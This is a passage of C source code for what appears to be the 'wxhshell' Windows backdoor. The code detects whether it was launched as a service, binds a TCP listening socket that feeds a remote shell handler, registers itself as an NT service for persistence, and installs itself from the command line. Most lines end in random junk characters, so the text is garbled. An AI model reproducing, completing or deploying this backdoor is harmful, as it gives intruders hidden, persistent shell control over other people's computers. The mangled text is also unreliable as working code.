ULONG InheritedFromUniqueProcessId; 3 -Nwg9U
} PROCESS_BASIC_INFORMATION; Gm~jC <
dI};l
PROCNTQSIP NtQueryInformationProcess; V.?N29CA|
|uf{:U)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d0vn/k2I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~PAF2
$dIu${lu
HANDLE hProcess; AwN7/M~'
PROCESS_BASIC_INFORMATION pbi; I&%{%*y
VC$,Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~gg(i"V
if(NULL == hInst ) return 0; o`,|{K$H
fyaiRn9/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /%fBkA#n
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <pyLWmO
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
~$cz`A
B >2" O
if (!NtQueryInformationProcess) return 0; ]zK'aod
B)>r~v]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cAnL,?_v
if(!hProcess) return 0; Q$u&/g3NvL
mCah{~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O|wu;1pQ
B /q/6Pp
CloseHandle(hProcess); `<_A#@
TkHyXOk"Ky
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _sLSl;/t
if(hProcess==NULL) return 0; JWQd/
A8tzIh8
HMODULE hMod; ~xfoZiIA}
char procName[255]; ,t?c=u\5
unsigned long cbNeeded; "u^%~ 2
f"i(+:la
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mXAGa8##j
/6S% h-#\
CloseHandle(hProcess); i;Y3pF0%P
tf<}%4G
if(strstr(procName,"services")) return 1; // 以服务启动 #x|xL7
/,Unp1D
return 0; // 注册表启动 !A_<(M<
} B"KDr_,,
dRC
RB
// 主模块 ^hL?.xj
int StartWxhshell(LPSTR lpCmdLine) $r> $
u
{ -QPM$
SOCKET wsl; gbf2ty
BOOL val=TRUE; ,yPs4',d
int port=0; Z!#n55|
struct sockaddr_in door; zt,Tda4Y
%*:X
FB
if(wscfg.ws_autoins) Install(); tFj[>_d7
(p6$Vgdt
port=atoi(lpCmdLine); [k<"@[8)
V/N:Of:\R
if(port<=0) port=wscfg.ws_port; lSW6\jX
={'*C7K)oK
WSADATA data; s0D,n1x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [te9ui%JS
CB!5>k+mC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H| UGR~&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M8Tj;ATr
door.sin_family = AF_INET; v$n J$M&k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); pk>p|q
door.sin_port = htons(port); EuH[G_5e0
MawWgd*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XHN*'@
77;
closesocket(wsl); $!Qv f
return 1; WF#3'"I
} yZHh@W4v
NCu:E{([
if(listen(wsl,2) == INVALID_SOCKET) { cpY'::5.%
closesocket(wsl); %KjvV<f-a
return 1; :6h$1
+6
} J~jxmh
Wxhshell(wsl); 322)r$!"
WSACleanup(); N"',
nO;*Peob
return 0; O4c[,Uq8~
NI<;L m
} &<Iyb}tA?
`qXCY^BH2
// 以NT服务方式启动 E\$7tXQK6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ox|K2A
{ `S)*(s?T
DWORD status = 0; s8O.yL
DWORD specificError = 0xfffffff; (Ci{fY6`
!<EQVqj6
serviceStatus.dwServiceType = SERVICE_WIN32; pwIu;:O!?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; UgqfO(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QXaE2}}P
serviceStatus.dwWin32ExitCode = 0; th
:I31
serviceStatus.dwServiceSpecificExitCode = 0; n7A %y2
serviceStatus.dwCheckPoint = 0; 'nx";[6(
serviceStatus.dwWaitHint = 0; Q|$?d4La8
Uo<iZ3J
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L!>EW0
if (hServiceStatusHandle==0) return; HxE`"/~.7k
i!nPiac
status = GetLastError(); <w1#3Mu'
if (status!=NO_ERROR) SWq5=h
{ s.uw,x
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0b3z(x!O
serviceStatus.dwCheckPoint = 0; 7,v}Ap]Pa
serviceStatus.dwWaitHint = 0; e5z U`R
serviceStatus.dwWin32ExitCode = status; B*
hW
serviceStatus.dwServiceSpecificExitCode = specificError; q@@C|oqEX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .[Hv/?L
return; H)@f_pfj(
} qX_(
M2oLU
<H]1 6
serviceStatus.dwCurrentState = SERVICE_RUNNING; +G.F'
serviceStatus.dwCheckPoint = 0; RZL:k;}5
serviceStatus.dwWaitHint = 0; mI4)+8SUu
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r5s$#,O/&Q
} _v\L'`bif
(\qO~)[0
// 处理NT服务事件,比如:启动、停止 wOg?.6<Kxa
VOID WINAPI NTServiceHandler(DWORD fdwControl) vR*TW
{ zZh\e,*
switch(fdwControl)
tqMOh R
{ 0*4h}t9j
case SERVICE_CONTROL_STOP: um5n3=K
serviceStatus.dwWin32ExitCode = 0; ;zpSyyp@
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5h!ZoB)n
serviceStatus.dwCheckPoint = 0; uK!G-1
serviceStatus.dwWaitHint = 0; No(p:Snbo
{ q33Z.3R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Y3mO~
} #ouE,<
return; cy%S5Rz
case SERVICE_CONTROL_PAUSE: }b$W+/M\
serviceStatus.dwCurrentState = SERVICE_PAUSED; nyRQ/.3
break; 2c u?2_,
case SERVICE_CONTROL_CONTINUE: H}f}Y8J{
serviceStatus.dwCurrentState = SERVICE_RUNNING; i|/EA7
break; Jmcf9g
case SERVICE_CONTROL_INTERROGATE: "I
n[= 2w
break; ;5.S"
}; M~SbIk<#a<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{uRqAG
} YB?5s`vr9d
up^D9(y\
// 标准应用程序主函数 S+mM S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P)k!#*
{ loR,f&80=O
-V\$oVS0S
// 获取操作系统版本 JsY|Fv
OsIsNt=GetOsVer(); !o{>[
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]A]EED.ZH
g/_j"Nn
// 从命令行安装 ^:Hx .
if(strpbrk(lpCmdLine,"iI")) Install(); Yg<